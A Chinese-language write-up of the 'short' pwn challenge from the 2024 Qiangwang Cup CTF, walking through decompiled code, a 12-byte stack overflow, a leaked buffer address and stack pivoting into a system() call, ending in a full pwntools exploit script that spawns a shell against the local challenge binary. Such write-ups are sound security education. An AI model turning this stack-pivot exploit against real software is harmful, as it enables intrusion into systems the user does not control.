这时2024强网杯的pwn部分的short的WP
分析以下程序的基本安全措施
*] '/home/ysly/solve/tmp/short'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
除了NX其他都没有
接下来放到ghidra里分析以下漏洞，主要寻找read,gets，之类的输入函数
先看一下主入口逻辑，判断输入点
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
undefined4 main(void)
{
int iVar1;
undefined *puVar2;
puVar2 = &stack0x00000004;
setbuf(_stdout,(char *)0x0);
setbuf(_stderr,(char *)0x0);
iVar1 = login(puVar2);
if (iVar1 == 0) {
puts("Login failed. Incorrect username or password.");
}
else {
vuln();
}
return 0;
}
此处有登陆，只有成功之后才可以继续执行，所以为了有利用可能，去看看登陆逻辑
undefined4 login(void)
{
size_t sVar1;
int iVar2;
char local_8c [64];
char local_4c [68];
printf("Enter your username: ");
fgets(local_4c,0x40,_stdin);
sVar1 = strcspn(local_4c,"\n");
local_4c[sVar1] = '\0';
printf("Enter your password: ");
fgets(local_8c,0x40,_stdin);
sVar1 = strcspn(local_8c,"\n");
local_8c[sVar1] = '\0';
iVar2 = strcmp(local_4c,"admin");
if ((iVar2 == 0) && (iVar2 = strcmp(local_8c,"admin123"), iVar2 == 0)) {
return 1;
}
return 0;
}
很明显输入用户名admin,密码admin123即可登陆成功
在去vuln函数看看
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void vuln(void)
{
undefined buf [76];
puts("You are now in vuln! Please enter extra data:");
printf("You will input this: %p\n",buf);
puts("plz input your msg:\n");
read(0,buf,88);
return;
}
可以读入88个字节，单数buff有76个字节，所以有88-76=12个字节溢出 12 = 4+4+4 分别可以覆盖ebp,ret,extra 4字节
但是这里是静态分析，只可以参考（实际上只可以覆盖到ret地址）
查看其他函数
发现一个gift函数
undefined4 gift(char *param_1)
{
system(param_1);
return 0;
}
如果可以控制参数，便可得到shell
下面动态分析
在vuln函数中
printf("You will input this: %p\n",buf);
泄漏了ebp地址，毕竟函数的变量都是ebp-x 来寻址的，所以buf的地址一定是buf - x ， 而x是一个固定的指，于是可以泄漏出ebp的地址
from pwn import *
context.log_level='debug'
context.terminal='foot'
p = process("./short")
# 登陆
p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
#不要第一行
p.recvline()
#一些处理，获得buff地址
raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)
# 静态分析buff地址是有一个0x50偏移，
ebp = raw-0x50
print("leak ebp",hex(ebp))
这里发现可以输入0x58个数据，从ebp-0x50开始输入
0x8048660 <vuln+79> push 0x58
► 0x8048662 <vuln+81> lea eax, [ebp - 0x50] EAX => 0xffffc878 ---▸ 0xf7fc1440 ◂--- 0xf7fc1440
0x8048665 <vuln+84> push eax
0x8048666 <vuln+85> push 0
0x8048668 <vuln+87> call read@plt <read@plt>
于是我们可以控制leven 是ebp地址和ret是的rip地址
这里在想到了用栈迁移
因为前面gift函数，看一下汇编部分
0x80485e6 <gift>: push ebp
0x80485e7 <gift+1>: mov ebp,esp
0x80485e9 <gift+3>: push ebx
0x80485ea <gift+4>: sub esp,0x4
0x80485ed <gift+7>: call 0x80487e1 <__x86.get_pc_thunk.ax>
0x80485f2 <gift+12>: add eax,0x1a0e
0x80485f7 <gift+17>: sub esp,0xc
0x80485fa <gift+20>: push DWORD PTR [ebp+0x8]
0x80485fd <gift+23>: mov ebx,eax
0x80485ff <gift+25>: call 0x80484a0 <system@plt>
0x8048604 <gift+30>: add esp,0x10
0x8048607 <gift+33>: mov eax,0x0
0x804860c <gift+38>: mov ebx,DWORD PTR [ebp-0x4]
0x804860f <gift+41>: leave
0x8048610 <gift+42>: ret
在call system之前是将ebp + 0x8 作为参数的
在执行leven 和ret后，ebp和eip可以被控制
现在我们可以控制eip和ebp
于是我们可以伪造一个ebp使得epb+8指向/bin/sh
并且让eip去执行这个call,就可以得到shell
现在攻击链如下
1.劫持ebp,eip
2.找到/bin/sh
3.执行call system
因为之前通过泄漏知道了buff的地址，我们可以向buff写入/bin/sh，然后就一切顺利
以下是全部的wp
from pwn import *
context.log_level='debug'
context.terminal='foot'
p = process("./short")
p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
# free junk
p.recvline()
raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)
ebp = raw-0x50
print("leak ebp",hex(ebp))
sh_addr =0x0804a038
fake_ebp = raw -8
payload = p32(sh_addr)+b'A'*(0x50-4)+p32(fake_ebp)+p32(0x080485fa)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()
在程序中存在/bin/sh字符，为什么我不用呢
因为我用过，打不通，暂时不清楚为什么